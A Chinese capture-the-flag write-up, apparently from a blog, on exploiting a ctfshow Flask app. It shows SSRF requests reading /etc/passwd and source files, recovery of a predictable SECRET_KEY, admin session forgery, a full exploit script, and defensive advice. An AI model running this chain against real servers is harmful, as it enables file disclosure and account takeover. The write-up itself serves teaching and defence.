Flask Session 伪造漏洞分析与利用
题目来源,ctfshow靶场web基础
一、题目分析
1.1 题目概述
题目地址:https://88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show/
题目类型:Flask Session 伪造
1.2 漏洞原理
Flask 的 session 机制依赖于 SECRET_KEY 对 session 数据进行签名。如果 SECRET_KEY 可以被预测或泄露,攻击者就可以伪造任意 session 数据。
关键代码分析(/app/app.py):
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
uuid.getnode()返回当前主机的 MAC 地址(整数形式)random.seed()使用 MAC 地址作为随机种子random.random() * 100生成 0-100 之间的随机数作为 SECRET_KEY
1.3 漏洞链
SSRF漏洞 → 读取MAC地址 → 计算SECRET_KEY → 伪造Session → 获取Flag
二、解题步骤
步骤1:发现 SSRF 漏洞
访问首页发现存在 /read?url= 参数,可以读取远程内容:
GET /read?url=https://baidu.com HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show
尝试读取本地文件,确认 SSRF 存在:
GET /read?url=file:///etc/passwd HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show
步骤2:读取应用源代码
GET /read?url=file:///app/app.py HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show
获取到完整代码:
# encoding:utf-8
import re, random, uuid, urllib.request
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
app.debug = False
@app.route('/')
def index():
session['username'] = 'guest'
return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
if re.findall('flag', url, re.IGNORECASE):
return '禁止访问'
res = urllib.request.urlopen(url)
return res.read().decode('utf-8', errors='ignore')
except Exception as ex:
print(str(ex))
return '无读取内容可以展示'
@app.route('/flag')
def flag():
if session.get('username') == 'admin':
return open('/flag.txt', encoding='utf-8').read()
else:
return '访问受限'
步骤3:获取 MAC 地址
GET /read?url=file:///sys/class/net/eth0/address HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show
返回结果:02:42:ac:0c:6e:29
步骤4:计算 SECRET_KEY
编写 Python 脚本计算 SECRET_KEY:
import random
# MAC地址转换为整数
mac_address = "02:42:ac:0c:6e:29"
mac_int = int(mac_address.replace(":", ""), 16)
# 计算SECRET_KEY(与目标服务器相同的算法)
random.seed(mac_int)
secret_key = str(random.random() * 100)
print(f"SECRET_KEY: {secret_key}")
运行结果:
SECRET_KEY: 11.096717512097253
步骤5:伪造 Session
使用 flask-unsign 工具生成伪造的 session:
python -m flask_unsign --sign --cookie "{'username': 'admin'}" --secret "'11.096717512097253'"
输出结果:
eyJ1c2VybmFtZSI6ImFkbWluIn0.ag0mFw.k1DNcElw9Wj635n8-F75u428yUc
步骤6:获取 Flag
携带伪造的 session 访问 /flag:
GET /flag HTTP/1.1
Host: 88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ag0mFw.k1DNcElw9Wj635n8-F75u428yUc
成功获取 Flag:
CTF{flask_session_is_secure}
三、完整 EXP 脚本
import random
import requests
# 目标地址
target = "https://88ca7081-4733-4712-beb6-18572617bddc.challenge.ctf.show"
# Step 1: 获取 MAC 地址
print("[+] 获取 MAC 地址...")
resp = requests.get(f"{target}/read?url=file:///sys/class/net/eth0/address")
mac_address = resp.text.strip()
print(f"MAC地址: {mac_address}")
# Step 2: 计算 SECRET_KEY
print("[+] 计算 SECRET_KEY...")
mac_int = int(mac_address.replace(":", ""), 16)
random.seed(mac_int)
secret_key = str(random.random() * 100)
print(f"SECRET_KEY: {secret_key}")
# Step 3: 生成伪造的 session(使用 flask-unsign)
import subprocess
result = subprocess.run(
["python", "-m", "flask_unsign", "--sign", "--cookie", "{'username': 'admin'}", "--secret", f"'{secret_key}'"],
capture_output=True, text=True
)
forged_session = result.stdout.strip()
print(f"伪造的session: {forged_session}")
# Step 4: 获取 Flag
print("[+] 获取 Flag...")
cookies = {"session": forged_session}
resp = requests.get(f"{target}/flag", cookies=cookies)
print(f"Flag: {resp.text.strip()}")
四、防御建议
4.1 安全的 SECRET_KEY 管理
-
使用足够随机的 SECRET_KEY:
import secrets app.config['SECRET_KEY'] = secrets.token_hex(32) # 256位随机密钥 -
使用环境变量存储密钥:
import os app.config['SECRET_KEY'] = os.environ.get('FLASK_SECRET_KEY')
4.2 SSRF 防护
- URL 白名单校验:只允许访问特定域名
- 禁止 file:// 协议:过滤本地文件访问
- 禁止内网地址:防止访问内网资源
4.3 Session 安全增强
-
设置 Session 过期时间:
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1) -
使用安全的 Cookie 属性:
HttpOnly: 防止 XSS 窃取 CookieSecure: 只在 HTTPS 下传输SameSite: 防止 CSRF 攻击
五、总结
本题通过 SSRF 漏洞读取服务器敏感信息(MAC地址、源代码),结合 Flask session 的签名机制,成功伪造 admin 用户的 session,最终获取 Flag。
关键点:
- Flask 的 session 签名依赖 SECRET_KEY
- SECRET_KEY 的生成算法存在可预测性
- MAC 地址可以通过多种方式获取
flask-unsign是 Flask session 安全测试的重要工具
Flag: CTF{flask_session_is_secure}

3543

被折叠的 条评论
为什么被折叠?



